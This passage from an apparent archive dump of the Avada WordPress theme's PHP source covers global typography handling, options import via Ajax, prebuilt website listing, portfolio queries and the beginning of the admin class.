as $id => $data ) { $fields[] = $id; } } } return $fields; } /** * Get typography data. * * @access public * @since 7.6 */ public function get_typography() { if ( null !== $this->typography ) { return $this->typography; } // Only merge for valid typography data. $data = fusion_library()->get_option( 'typography_sets' ); if ( is_array( $data ) ) { $this->typography = fusion_array_merge_recursive( $this->get_defaults(), $data ); } else { $this->typography = $this->get_defaults(); } // Pull variant as font-style and weight. foreach ( $this->typography as $slug => $data ) { if ( isset( $data['variant'] ) ) { $this->typography[ $slug ]['font-style'] = false !== strpos( $data['variant'], 'italic' ) ? 'italic' : ''; $this->typography[ $slug ]['font-weight'] = str_replace( 'italic', '', $data['variant'] ); } } $this->typography = apply_filters( 'awb_typography_global_data', $this->typography ); return $this->typography; } /** * Get the default typography, used in case a typography needed does not exists. * * @since 7.6 * @return array */ public function get_fallback_error_typography() { return [ 'label' => esc_html__( 'Unknown Font', 'Avada' ), 'font-family' => esc_html__( 'Unknown Font', 'Avada' ), 'font-size' => '16px', 'variant' => '400', 'font-weight' => '400', 'font-style' => '', 'line-height' => '1.1', 'letter-spacing' => '0', 'text-transform' => 'none', ]; } /** * Set variable definitions for each aspect of typography sets. * * @access public * @since 7.6 */ public function set_variables() { $typography = $this->get_typography(); $subsets = [ 'font-family', 'font-size', 'font-weight', 'font-style', 'line-height', 'letter-spacing', 'text-transform', ]; if ( is_array( $typography ) && ! empty( $typography ) ) { foreach ( $typography as $typo_slug => $data ) { foreach ( $subsets as $subset ) { if ( isset( $data[ $subset ] ) ) { if ( 'font-style' === $subset && '' === $data[ $subset ] ) { $data[ $subset ] = 'normal'; } elseif ( 'font-family' === $subset && class_exists( 'Fusion_Dynamic_CSS' ) ) { $dynamic_css = Fusion_Dynamic_CSS::get_instance(); $dynamic_css_helpers = $dynamic_css->get_helpers(); $data[ $subset ] = $dynamic_css_helpers->combined_font_family( $data ); } elseif ( 'letter-spacing' === $subset && class_exists( 'Fusion_Panel_Callbacks' ) ) { $data[ $subset ] = Fusion_Panel_Callbacks::maybe_append_px( $data[ $subset ] ); } elseif ( 'font-weight' === $subset && class_exists( 'Fusion_Panel_Callbacks' ) ) { $data[ $subset ] = Fusion_Panel_Callbacks::font_weight_no_regular( $data[ $subset ] ); } Fusion_Dynamic_CSS::add_css_var( [ 'name' => '--awb-' . $typo_slug . '-' . $subset, 'value' => $data[ $subset ], 'element' => ':root', 'preserve' => true, ] ); } } } } } /** * Get the slug from a variable string. * * @access public * @since 7.6 * * @param string $variable A CSS variable string. * @return string */ public function get_typography_slug( $variable ) { return str_replace( [ 'var(--awb-', '-font-family)', '-font-size)', '-font-variant)', '-line-height)', '-letter-spacing)', '-text-transform)', ')' ], '', $variable ); } /** * Get real value of variable. * * @access public * @since 7.6 * * @param string $value CSS variable string. * @param string $subset The typography subset we want. * @return string */ public function get_real_value( $value, $subset = '' ) { $slug = $this->get_typography_slug( $value ); if ( empty( $subset ) ) { $subset = str_replace( [ 'var(--awb-', $slug . '-', ')' ], '', $value ); } $values = $this->get_typography(); if ( isset( $values[ $slug ] ) && isset( $values[ $slug ][ $subset ] ) ) { return $values[ $slug ][ $subset ]; } return $value; } /** * Get a variable string based on another string or slug. * * @access public * @since 7.6 * * @param string $input CSS variable string. * @param string $subset Subset we want to get variable for. * @return string */ public function get_var_string( $input = '', $subset = '' ) { if ( '' === $input ) { return ''; } $slug = $this->get_typography_slug( $input ); if ( '' === $subset ) { return 'var(--awb-' . $slug . ')'; } return 'var(--awb-' . $slug . '-' . $subset . ')'; } /** * Find variable in the family and variant and replace with real values. * * @access public * @since 7.6 * * @param array $fonts Family family and variant array being used on page. * @return array */ public function filter_fonts( $fonts ) { $typography = $this->get_typography(); if ( ! empty( $fonts ) ) { foreach ( $fonts as $variable_font => $variants ) { if ( false !== strpos( $variable_font, 'var(' ) ) { $variable = $this->get_typography_slug( $variable_font ); // Family is a variable, replace variable with family name in array and use weight and style from set. if ( isset( $typography[ $variable ] ) ) { $real_family = $typography[ $variable ]['font-family']; if ( isset( $typography[ $variable ]['variant'] ) ) { $variant = $typography[ $variable ]['variant']; } elseif ( isset( $typography[ $variable ]['font-weight'] ) && isset( $typography[ $variable ]['font-style'] ) ) { $variant = $typography[ $variable ]['font-weight'] . $typography[ $variable ]['font-style']; } // Unset variable font from array. unset( $fonts[ $variable_font ] ); if ( isset( $fonts[ $real_family ] ) ) { // Family already has variants, but not this one, add it. if ( ! in_array( $variant, $fonts[ $real_family ] ) ) { // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict $fonts[ $real_family ][] = $variant; } } else { // Family is not already in map, add it with variant. $fonts[ $real_family ] = [ $variant ]; } } } } } return $fonts; } /** * Print the inline style declaration for the typography colors in backend. * * @since 7.6 */ public function print_inline_global_typography_declaration_in_backend() { $is_builder = ( function_exists( 'fusion_is_preview_frame' ) && fusion_is_preview_frame() ) || ( function_exists( 'fusion_is_builder_frame' ) && fusion_is_builder_frame() ); if ( is_customize_preview() || ( ! is_admin() && ! $is_builder ) ) { return; } $typography_css = $this->get_global_colors_declaration_for_inline_style(); if ( $typography_css ) { echo ''; // phpcs:ignore WordPress.Security } } /** * Get an inline style declaration with all global typography. * * @since 7.6 * @return string */ public function get_global_colors_declaration_for_inline_style() { $css = ''; $typography = $this->get_typography(); $subsets = [ 'font-family', 'font-size', 'font-weight', 'font-style', 'line-height', 'letter-spacing', 'text-transform', ]; if ( ! is_array( $typography ) || empty( $typography ) ) { return $css; } foreach ( $typography as $typo_slug => $data ) { foreach ( $subsets as $subset ) { if ( isset( $data[ $subset ] ) ) { if ( 'font-style' === $subset && '' === $data[ $subset ] ) { $data[ $subset ] = 'normal'; } elseif ( 'font-family' === $subset && class_exists( 'Fusion_Dynamic_CSS' ) ) { $dynamic_css = Fusion_Dynamic_CSS::get_instance(); $dynamic_css_helpers = $dynamic_css->get_helpers(); $data[ $subset ] = $dynamic_css_helpers->combined_font_family( $data ); } elseif ( 'letter-spacing' === $subset && class_exists( 'Fusion_Panel_Callbacks' ) ) { $data[ $subset ] = Fusion_Panel_Callbacks::maybe_append_px( $data[ $subset ] ); } elseif ( 'font-weight' === $subset && class_exists( 'Fusion_Panel_Callbacks' ) ) { $data[ $subset ] = Fusion_Panel_Callbacks::font_weight_no_regular( $data[ $subset ] ); } $css .= '--awb-' . $typo_slug . '-' . $subset . ':' . $data[ $subset ] . ';'; } } } $css = ':root{' . $css . '}'; return $css; } /** * Check if a css value is a css typography variable. * * @since 3.6 * @param string $value The CSS variable. * @return bool */ public function is_typography_css_var( $value ) { if ( false === strpos( $value, 'var(' ) ) { return false; } if ( false === strpos( $value, 'typography' ) ) { return false; } return true; } /** * Enqueue the typography option. * * @access public * @since 7.6 */ public function enqueue() { if ( $this->enqueued ) { return; } wp_register_script( 'fuse-script', FUSION_LIBRARY_URL . '/assets/min/js/library/fuse.js', [], AVADA_VERSION, true ); wp_register_script( 'awb-select', FUSION_LIBRARY_URL . '/inc/fusion-app/assets/js/awb-select.js', [ 'jquery', 'fuse-script' ], AVADA_VERSION, false ); wp_register_script( 'awb-typography-select', FUSION_LIBRARY_URL . '/inc/fusion-app/assets/js/awb-typography-select.js', [ 'jquery' ], AVADA_VERSION, false ); wp_localize_script( 'awb-typography-select', 'awbTypoData', [ 'data' => $this->get_typography(), 'strings' => [ 'none' => esc_html__( 'None', 'Avada' ), 'uppercase' => esc_html__( 'Uppercase', 'Avada' ), 'lowercase' => esc_html__( 'Lowercase', 'Avada' ), 'capitalize' => esc_html__( 'Capitalize', 'Avada' ), 'global' => esc_html__( 'Global Typography', 'Avada' ), 'custom_fonts' => esc_html__( 'Custom Fonts', 'Avada' ), 'adobe_fonts' => esc_html__( 'Adobe Fonts', 'Avada' ), 'standard_fonts' => esc_html__( 'Standard Fonts', 'Avada' ), 'google_fonts' => esc_html__( 'Google Fonts', 'Avada' ), 'unknown_font' => esc_html__( 'Unknown Font', 'Avada' ), /* translators: %s is a number representing the custom typography number. */ 'new_font_name' => esc_html__( 'Custom Typography %s', 'Avada' ), 'set_removed_alert' => esc_html__( 'This will remove the typography set.', 'Avada' ), ], ] ); wp_enqueue_script( 'awb-typography', FUSION_LIBRARY_URL . '/inc/fusion-app/assets/js/awb-typography.js', [ 'jquery', 'awb-typography-select', 'awb-select', 'underscore' ], AVADA_VERSION, false ); wp_enqueue_style( 'awb-typography', FUSION_LIBRARY_URL . '/inc/fusion-app/assets/css/awb-typography.css', [], AVADA_VERSION ); // We need template util for redux. if ( is_admin() && isset( $_GET['page'] ) && 'avada_options' === $_GET['page'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended wp_enqueue_script( 'awb-template-util', FUSION_LIBRARY_URL . '/inc/fusion-app/util.js', [ 'underscore', 'backbone' ], AVADA_VERSION, false ); } wp_enqueue_script( 'awb-typography-sets', FUSION_LIBRARY_URL . '/inc/fusion-app/assets/js/awb-typography-sets.js', [ 'jquery', 'awb-typography-select', 'awb-select' ], AVADA_VERSION, false ); wp_enqueue_style( 'awb-typography-sets', FUSION_LIBRARY_URL . '/inc/fusion-app/assets/css/awb-typography-sets.css', [], AVADA_VERSION ); $this->enqueued = true; } } /** * Instantiates the AWB_Global_Typography class. * Make sure the class is properly set-up. * * @since 7.6 * @return AWB_Global_Typography */ function AWB_Global_Typography() { // phpcs:ignore WordPress.NamingConventions return AWB_Global_Typography::get_instance(); } AWB_Global_Typography(); Avada/includes/class-avada-avadaredux.php000064400000023424152342437700014414 0ustar00args['sections'] = Avada::get_options(); add_action( 'admin_menu', [ $this, 'deprecated_adminpage_hook' ] ); add_filter( 'fusion_redux_typography_font_groups', [ $this, 'fusion_redux_typography_font_groups' ] ); add_filter( 'fusion_options_font_size_dimension_fields', [ $this, 'fusion_options_font_size_dimension_fields' ] ); add_filter( 'fusion_options_sliders_not_in_pixels', [ $this, 'fusion_options_sliders_not_in_pixels' ] ); if ( class_exists( 'Fusion_Builder_Redux' ) ) { // Split to multiple lines for PHP 5.2 compatibility. $fusion_builder = FusionBuilder(); $fusion_builder_options_panel = $fusion_builder->get_fusion_builder_options_panel(); $fusion_builder_redux = $fusion_builder_options_panel->get_fusion_builder_redux(); add_filter( 'fusion_options_sliders_not_in_pixels', [ $fusion_builder_redux, 'fusion_options_sliders_not_in_pixels' ] ); } parent::init_fusionredux(); // Import options via Ajax. add_action( 'wp_ajax_custom_option_import_code', [ $this, 'custom_option_import_code' ] ); // Importing/switching color scheme. add_action( 'wp_ajax_custom_option_import', [ $this, 'reset_caches_handler' ] ); } /** * Import settings via Ajax. * * @access public */ public function custom_option_import_code() { $option_name = Fusion_Settings::get_option_name(); $nonce_name = 'fusionredux_ajax_nonce' . $option_name; if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( wp_unslash( $_REQUEST['security'] ), $nonce_name ) ) { // phpcs:ignore WordPress.Security echo wp_json_encode( [ 'status' => 'failed', 'action' => 'reload', ] ); die(); } if ( isset( $_POST['data'] ) && ! empty( $_POST['data'] ) ) { $values = []; $fusionredux = FusionReduxFrameworkInstances::get_instance( $option_name ); $values = $fusionredux->fields; $values = wp_parse_args( get_option( $option_name ), $values ); if ( isset( $_POST['data']['import_code'] ) && '' !== $_POST['data']['import_code'] ) { $import_code = stripslashes( $_POST['data']['import_code'] ); // phpcs:ignore WordPress.Security $values['import_code'] = $import_code; } elseif ( isset( $_POST['data']['import_link'] ) && '' !== $_POST['data']['import_link'] ) { $values['import_link'] = $_POST['data']['import_link']; // phpcs:ignore WordPress.Security } else { echo wp_json_encode( [ 'status' => 'failed', 'action' => 'reload', ] ); die(); } if ( isset( $fusionredux->validation_ran ) ) { unset( $fusionredux->validation_ran ); } $fusionredux->set_options( $fusionredux->_validate_options( $values ) ); echo wp_json_encode( [ 'status' => 'success', 'action' => 'reload', ] ); } else { echo wp_json_encode( [ 'status' => 'failed', 'action' => 'reload', ] ); } die(); } /** * Register the page and then unregister it. * This allows the user to access the URL of the page, * but without an actual menu for the page. * * @access public */ public function deprecated_adminpage_hook() { add_submenu_page( 'themes.php', __( 'Avada Options have moved!', 'Avada' ), __( 'Avada Options', 'Avada' ), 'switch_themes', 'optionsframework', [ $this, 'deprecated_adminpage' ] ); remove_submenu_page( 'themes.php', 'optionsframework' ); } /** * Creates a countdown counter and then redirects the user to the new admin page. * We're using this to accomodate users that perhaps have the page bookmarked. * This way they won't get an error page but we'll gracefully migrate them to the new page. * * @access public */ public function deprecated_adminpage() { ?> __( 'Custom Fonts', 'Avada' ), 'children' => [], ]; // Add custom fonts. foreach ( $custom_fonts['name'] as $key => $label ) { $font_groups['customfonts']['children'][] = [ 'id' => esc_attr( $label ), 'text' => esc_attr( $label ), 'data-google' => 'false', ]; } } } return $font_groups; } /** * Adds options to be processes as font-sizes. * Affects the field's sanitization call. * * @access public * @since 5.1.0 * @param array $fields An array of fields. * @return array */ public function fusion_options_font_size_dimension_fields( $fields ) { $extra_fields = [ 'meta_font_size', 'es_title_font_size', 'es_caption_font_size', 'ec_sidew_font_size', 'image_rollover_icon_size', 'pagination_font_size', 'form_input_height', 'copyright_font_size', 'tagline_font_size', 'header_sticky_nav_font_size', 'page_title_font_size', 'page_title_subheader_font_size', 'breadcrumbs_font_size', 'social_links_font_size', 'sidew_font_size', 'slider_arrow_size', 'slidingbar_font_size', 'header_social_links_font_size', 'footer_social_links_font_size', 'sharing_social_links_font_size', 'woo_icon_font_size', ]; return array_unique( array_merge( $fields, $extra_fields ) ); } /** * Sliders that are not in pixels. * * @access public * @since 5.1.0 * @param array $fields An array of fields. * @return array */ public function fusion_options_sliders_not_in_pixels( $fields ) { $extra_fields = [ 'slidingbar_widgets_columns', 'footer_widgets_columns', 'blog_archive_grid_columns', 'excerpt_length_blog', 'blog_excerpt_length', 'portfolio_archive_excerpt_length', 'portfolio_archive_columns', 'portfolio_archive_items', 'portfolio_excerpt_length', 'portfolio_items', 'portfolio_columns', 'posts_slideshow_number', 'slideshow_speed', 'tfes_interval', 'tfes_speed', 'lightbox_slideshow_speed', 'lightbox_opacity', 'map_zoom_level', 'search_results_per_page', 'number_related_posts', 'related_posts_columns', 'related_posts_speed', 'related_posts_swipe_items', 'pw_jpeg_quality', 'webp_image_quality', 'woo_items', 'woocommerce_shop_page_columns', 'woocommerce_related_columns', 'woocommerce_archive_page_columns', 'woocommerce_product_images_thumbnail_column_width', 'typography_sensitivity', 'typography_factor', 'testimonials_speed', 'masonry_grid_ratio', 'privacy_expiry', 'pagination_range', 'pagination_start_end_range', 'search_excerpt_length', 'search_grid_columns', 'live_search_min_char_count', 'live_search_results_per_page', ]; return array_unique( array_merge( $fields, $extra_fields ) ); } /** * Extra functionality on save. * * @access public * @since 4.0 * @param array $data The data. * @param array $changed_values The changed values to save. * @return void */ public function save_as_option( $data, $changed_values ) { update_option( 'avada_disable_encoding', $data['disable_code_block_encoding'] ); // Delete migration option for 5.1. if ( isset( $data['site_width'] ) && false === strpos( $data['site_width'], 'calc' ) ) { delete_option( 'avada_510_site_width_calc' ); } } /** * Sanitizes color schemes. * * @since 5.1.0 * @param array $schemes The color schemes. * @return array The color schemens, sanitized. */ private function sanitize_color_schemes( $schemes ) { if ( ! is_array( $schemes ) ) { return []; } $final_schemes = []; foreach ( $schemes as $scheme ) { // Sanitize the scheme name. if ( ! isset( $scheme['name'] ) ) { $scheme['name'] = ''; } $scheme['name'] = esc_attr( $scheme['name'] ); // Sanitize the scheme values. if ( ! isset( $scheme['values'] ) ) { $scheme['values'] = []; } $scheme_values = []; foreach ( $scheme['values'] as $key => $value ) { $key = sanitize_key( $key ); // Color sanitization. $color_obj = Fusion_Color::new_color( $value ); $scheme_values[ $key ] = $color_obj->toCSS( $color_obj->mode ); } $final_schemes[] = [ 'name' => $scheme['name'], 'values' => $scheme_values, ]; } return $final_schemes; } } Avada/includes/typography/fusion_core_typography.php000064400000005140152342437700017115 0ustar00init(); } /** * Creates or returns an instance of this class. * * @static * @access public * @since 7.7 */ public static function get_instance() { // If an instance hasn't been created and set to $instance create an instance and set it to $instance. if ( null === self::$instance ) { self::$instance = new AWB_Prebuilt_Websites(); } return self::$instance; } /** * Init stuff. * * @since 7.7 * @access public */ public function init() { $this->process_available_websites(); $this->set_imported_websites(); if ( ! fusion_doing_ajax() ) { add_action( 'admin_enqueue_scripts', [ $this, 'add_scripts' ] ); } } /** * Goes through all available websites, filters out those which dont have high enough version. * While doing that it will also get all website tags and sort them by count (descending). */ protected function process_available_websites() { // Include the Avada_Importer_Data class if it doesn't exist. if ( ! class_exists( 'Avada_Importer_Data' ) ) { include_once Avada::$template_dir_path . '/includes/importer/class-avada-importer-data.php'; } $demos = Avada_Importer_Data::get_data(); $theme_version = Avada_Helper::normalize_version( Avada()->get_normalized_theme_version() ); foreach ( $demos as $demo => $demo_details ) { // Make sure we don't show demos that can't be applied to this version. if ( isset( $demo_details['minVersion'] ) ) { // Skip websites which require higher theme version. $min_version = Avada_Helper::normalize_version( $demo_details['minVersion'] ); if ( version_compare( $theme_version, $min_version ) < 0 ) { continue; } $this->available_websites[ $demo ] = $demo_details; // Tag stuff. if ( ! isset( $demo_details['tags'] ) ) { $demo_details['tags'] = []; } foreach ( $demo_details['tags'] as $key => $name ) { if ( ! isset( $this->all_tags[ $key ] ) ) { $this->all_tags[ $key ] = [ 'name' => $name, 'count' => 0, ]; } $this->all_tags[ $key ]['count']++; } } } // Sort websites by tag count, descending. uasort because we need to preserve keys. uasort( $this->all_tags, function ( $a, $b ) { return $b['count'] - $a['count']; } ); } /** * Set imported websites. */ public function set_imported_websites() { $imported_data = get_option( 'fusion_import_data', [] ); if ( ! function_exists( 'avada_get_demo_import_stages' ) ) { include_once Avada::$template_dir_path . '/includes/avada-functions.php'; } $import_stages = avada_get_demo_import_stages(); foreach ( $imported_data as $stage => $imported_demos ) { foreach ( $imported_demos as $imported_demo ) { if ( ! in_array( $imported_demo, $this->imported_websites, true ) ) { $this->imported_websites[] = $imported_demo; } } } } /** * Gets required plugins for specific website. * * @param string $website_key Website key. * @return array */ public function get_required_plugins( $website_key ) { $required_plugins = []; if ( isset( $this->available_websites[ $website_key ] ) && isset( $this->available_websites[ $website_key ]['plugin_dependencies'] ) ) { foreach ( $this->available_websites[ $website_key ]['plugin_dependencies'] as $plugin_key => $is_used ) { if ( $is_used ) { $required_plugins[] = $plugin_key; } } } return $required_plugins; } /** * Gets imported websites. * * @return array */ public function get_websites() { return $this->available_websites; } /** * Gets website tags. * * @return array */ public function get_tags() { return $this->all_tags; } /** * Gets imported websites. * * @return array */ public function get_imported_websites() { return $this->imported_websites; } /** * Gets plugins info. * * @return array */ public function get_plugins_info() { if ( null === $this->plugin_dependencies ) { $this->plugin_dependencies = []; // Check which recommended plugins are installed and activated. if ( class_exists( 'Avada_TGM_Plugin_Activation' ) ) { $this->plugin_dependencies = Avada_TGM_Plugin_Activation::$instance->plugins; } foreach ( $this->plugin_dependencies as $key => $plugin_args ) { $this->plugin_dependencies[ $key ]['active'] = fusion_is_plugin_activated( $plugin_args['file_path'] ); $this->plugin_dependencies[ $key ]['installed'] = file_exists( WP_PLUGIN_DIR . '/' . $plugin_args['file_path'] ); } } return $this->plugin_dependencies; } /** * Checks if Avada Core & Avada Builder are installed and active. * * @return bool */ public function are_avada_plugins_active() { $plugins = $this->get_plugins_info(); return $plugins['fusion-core']['active'] && $plugins['fusion-builder']['active']; } /** * Add scripts. */ public function add_scripts() { wp_localize_script( 'jquery', 'awbPrebuilts', [ 'websites' => $this->get_websites(), 'plugins' => $this->get_plugins_info(), 'import_stages' => avada_get_demo_import_stages(), 'nonce_install_plugin' => wp_create_nonce( 'tgmpa-install' ), 'nonce_activate_plugin' => wp_create_nonce( 'avada-activate' ), 'nonce_import_prebuilt' => wp_create_nonce( 'avada_demo_ajax' ), ] ); } } /** * Instantiates the AWB_Prebuilt_Websites class. * Make sure the class is properly set-up. * * @since object 7.7 * @return object AWB_Prebuilt_Websites */ function AWB_Prebuilt_Websites() { // phpcs:ignore WordPress.NamingConventions return AWB_Prebuilt_Websites::get_instance(); } AWB_Prebuilt_Websites(); Avada/includes/class-avada-portfolio.php000064400000003450152342437700014302 0ustar00is_main_query() && ( $query->is_post_type_archive( 'avada_portfolio' ) || $query->is_tax( [ 'portfolio_category', 'portfolio_skills', 'portfolio_tags' ] ) ) ) { // If TO setting is set to 0, all items should show. $number_of_portfolio_items = Avada()->settings->get( 'portfolio_archive_items' ); $query->set( 'posts_per_page', $number_of_portfolio_items ); } return $query; } /** * Set portfolio width and assign a class to the content div * * @param string $classes The CSS classes. * @return string */ public function set_portfolio_single_width( $classes ) { if ( is_singular( 'avada_portfolio' ) ) { $portfolio_width = 'half' === fusion_get_option( 'portfolio_featured_image_width' ) ? 'half' : 'full'; if ( ! Avada()->settings->get( 'portfolio_featured_images' ) && 'half' === $portfolio_width ) { $portfolio_width = 'full'; } $classes .= ' portfolio-' . $portfolio_width; } return $classes; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-avada-admin.php000064400000215344152342437700013364 0ustar00includes_path = wp_normalize_path( dirname( __FILE__ ) ); $this->set_theme_version(); $this->set_theme_object(); add_filter( 'admin_body_class', [ $this, 'admin_body_class' ] ); add_action( 'admin_init', [ $this, 'admin_init' ] ); add_action( 'admin_init', [ $this, 'init_permalink_settings' ] ); add_action( 'admin_init', [ $this, 'save_permalink_settings' ] ); add_action( 'admin_init', [ $this, 'add_columns_to_post_tables' ] ); add_action( 'admin_menu', [ $this, 'admin_menu' ] ); add_action( 'admin_menu', [ $this, 'edit_admin_menus' ], 999 ); add_action( 'admin_enqueue_scripts', [ $this, 'admin_scripts' ] ); add_action( 'after_switch_theme', [ $this, 'activation_redirect' ] ); // Add dashboard header to TO page. global $avada_avadaredux_args; add_action( 'fusionredux/page/' . $avada_avadaredux_args['option_name'] . '/form/before', [ 'Avada_Admin', 'get_admin_screen_header_to' ] ); add_action( 'fusionredux/page/' . $avada_avadaredux_args['option_name'] . '/form/after', [ 'Avada_Admin', 'get_admin_screen_footer_to' ] ); add_filter( 'tgmpa_notice_action_links', [ $this, 'edit_tgmpa_notice_action_links' ] ); $prefix = ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) ? 'network_admin_' : ''; add_filter( "tgmpa_{$prefix}plugin_action_links", [ $this, 'edit_tgmpa_action_links' ], 10, 4 ); // Get demos data on theme activation. if ( ! class_exists( 'Avada_Importer_Data' ) ) { include_once Avada::$template_dir_path . '/includes/importer/class-avada-importer-data.php'; } add_action( 'after_switch_theme', [ 'Avada_Importer_Data', 'set_data_transient' ], 5 ); // Change auto update notes for LayerSlider. add_action( 'layerslider_ready', [ $this, 'layerslider_overrides' ] ); // Facebook instant articles rule set definition. add_filter( 'instant_articles_transformer_rules_loaded', [ $this, 'add_instant_article_rules' ] ); // Load jQuery in the demos and plugins page. if ( isset( $_GET['page'] ) && ( 'avada-prebuilt-websites' === $_GET['page'] || 'avada-plugins' === $_GET['page'] || 'avada-setup' === $_GET['page'] ) ) { // phpcs:ignore WordPress.Security add_action( 'admin_enqueue_scripts', [ $this, 'add_jquery' ] ); if ( 'avada-plugins' === $_GET['page'] ) { // phpcs:ignore WordPress.Security add_action( 'admin_enqueue_scripts', [ $this, 'add_jquery_ui_styles' ] ); } } add_action( 'wp_ajax_fusion_activate_plugin', [ $this, 'ajax_activate_plugin' ] ); // By default TGMPA doesn't load in AJAX calls. // Filter is applied inside a method which is hooked to 'init'. add_filter( 'tgmpa_load', [ $this, 'enable_tgmpa' ], 10 ); add_action( 'wp_ajax_fusion_install_plugin', [ $this, 'ajax_install_plugin' ] ); // Add taxonomy meta boxes. if ( function_exists( 'update_term_meta' ) ) { add_action( 'wp_loaded', [ $this, 'avada_taxonomy_meta' ] ); } // Notice for legacy countdown. add_action( 'current_screen', [ $this, 'legacy_countdown' ] ); // Performance wizard, both needed for page and wizard ajax. if ( ( isset( $_GET['page'] ) && 'avada-performance' === sanitize_text_field( wp_unslash( $_GET['page'] ) ) ) || ( fusion_doing_ajax() && ( isset( $_GET['awb_performance_nonce'] ) || isset( $_POST['awb_performance_nonce'] ) ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $this->init_performance_wizard(); } // Setup wizard, both needed for page and wizard ajax. if ( ( isset( $_GET['page'] ) && 'avada-setup' === sanitize_text_field( wp_unslash( $_GET['page'] ) ) ) || ( fusion_doing_ajax() && ( strpos( wp_get_referer(), '?page=avada-setup' ) || isset( $_GET['awb_setup_nonce'] ) || isset( $_POST['awb_setup_nonce'] ) ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $this->init_setup_wizard(); } add_filter( 'leadin_impact_code', [ $this, 'get_hubspot_affiliate_code' ] ); // Avada site data notice. $data_status = get_option( 'awb_site_data_status', [] ); if ( isset( $data_status['status'] ) && 'dismissed' !== $data_status['status'] ) { $this->init_awb_site_data(); } } /** * Adds classes to the element using admin_body_class filter. * * @access public * @since 5.3.0 * @param string $classes The CSS classes. * @return string */ public function admin_body_class( $classes ) { global $wp_version; if ( version_compare( $wp_version, '4.9-beta', '<' ) ) { $classes .= ' fusion-colorpicker-legacy '; } $classes .= ' ua-' . $this->get_browser(); return $classes; } public function get_browser() { if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) { $user_agent = sanitize_text_field( $_SERVER['HTTP_USER_AGENT'] ); $browsers = [ 'Chrome' => 'chrome', 'Safari' => 'safari', 'Firefox' => 'firefox', 'Edge' => 'edge', 'MSIE' => 'msie', ]; foreach ( $browsers as $index => $value ) { if ( false !== strpos( $user_agent, $index ) ) { return $value; } } } return 'chrome'; } /** * Require and instantiate performance wizard. * * @access public * @since 5.0.0 * @return void */ public function init_performance_wizard() { require_once $this->includes_path . '/class-awb-performance-wizard.php'; } /** * Require and instantiate setup wizard. * * @access public * @since 7.5 * @return void */ public function init_setup_wizard() { require_once $this->includes_path . '/class-awb-setup-wizard.php'; } /** * Require and instantiate Avada site data class. * * @access public * @since 5.0.0 * @return void */ public function init_awb_site_data() { require_once $this->includes_path . '/class-awb-site-data.php'; } /** * Adds jQuery. * * @access public * @since 5.0.0 * @return void */ public function add_jquery() { wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui-dialog' ); } /** * Adds jQuery UI styles. * * @access public * @since 5.4.1 * @return void */ public function add_jquery_ui_styles() { wp_enqueue_style( 'wp-jquery-ui-dialog' ); } /** * Modify the menu. * * @access public * @since 3.8.0 * @return void */ public function edit_admin_menus() { global $submenu; // Change Avada to Dashboard. if ( isset( $submenu['avada'][0][0] ) ) { $submenu['avada'][0][0] = esc_html__( 'Dashboard', 'Avada' ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride } if ( isset( $submenu['themes.php'] ) && ! empty( $submenu['themes.php'] ) ) { foreach ( $submenu['themes.php'] as $key => $value ) { // Remove "Header" submenu. if ( isset( $value[2] ) && false !== strpos( $value[2], 'customize.php' ) && false !== strpos( $value[2], '=header_image' ) ) { unset( $submenu['themes.php'][ $key ] ); } // Remove "Background" submenu. if ( isset( $value[2] ) && false !== strpos( $value[2], 'customize.php' ) && false !== strpos( $value[2], '=background_image' ) ) { unset( $submenu['themes.php'][ $key ] ); } } // Reorder items in the array. $submenu['themes.php'] = array_values( $submenu['themes.php'] ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride // Remove TGMPA menu from Appearance. remove_submenu_page( 'themes.php', 'install-required-plugins' ); } } /** * Redirect to admin page on theme activation. * * @access public * @since 3.8.0 * @return void */ public function activation_redirect() { delete_transient( 'awb_cli_activation' ); if ( current_user_can( 'switch_themes' ) ) { $current_page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : false; // phpcs:ignore WordPress.Security.NonceVerification.Recommended // Early exit if already on desired pages. CLI theme activation triggers the hook multiple times. if ( 'avada' === $current_page || 'avada-setup' === $current_page ) { return; } // Fresh install transient is set in class-avada-upgrade.php. $fresh_install = get_transient( 'awb_fresh_install' ); if ( $fresh_install && 'fresh' === $fresh_install && ! wp_doing_ajax() && ! is_network_admin() && apply_filters( 'awb_setup_wizard_redirect', true ) ) { delete_transient( 'awb_fresh_install' ); wp_safe_redirect( admin_url( 'admin.php?page=avada-setup' ) ); exit; } elseif ( true !== Fusion_Builder_Migrate::needs_migration() ) { // Do not redirect if a migration is needed for Avada 5.0.0. wp_safe_redirect( admin_url( 'admin.php?page=avada' ) ); exit; } } } /** * Actions to run on initial theme activation. * * @access public * @since 3.8.0 * @return void */ public function admin_init() { if ( current_user_can( 'switch_themes' ) ) { // Set in register.php, function fusion_register_cmd(). if ( get_transient( 'awb_cli_activation' ) ) { $this->activation_redirect(); } if ( isset( $_GET['avada-deactivate'] ) && 'deactivate-plugin' === $_GET['avada-deactivate'] ) { // phpcs:ignore WordPress.Security check_admin_referer( 'avada-deactivate', 'avada-deactivate-nonce' ); $plugins = Avada_TGM_Plugin_Activation::$instance->plugins; foreach ( $plugins as $plugin ) { if ( isset( $_GET['plugin'] ) && $plugin['slug'] === $_GET['plugin'] ) { deactivate_plugins( $plugin['file_path'] ); } } } if ( isset( $_GET['avada-activate'] ) && 'activate-plugin' === $_GET['avada-activate'] ) { check_admin_referer( 'avada-activate', 'avada-activate-nonce' ); $plugins = Avada_TGM_Plugin_Activation::$instance->plugins; foreach ( $plugins as $plugin ) { if ( isset( $_GET['plugin'] ) && $plugin['slug'] === $_GET['plugin'] ) { activate_plugin( $plugin['file_path'] ); wp_safe_redirect( admin_url( 'admin.php?page=avada-plugins' ) ); exit; } } } } } /** * Adds the admin menu. * * @access public * @since 5.0 * @return void */ public function admin_menu() { global $submenu; if ( current_user_can( 'edit_posts' ) 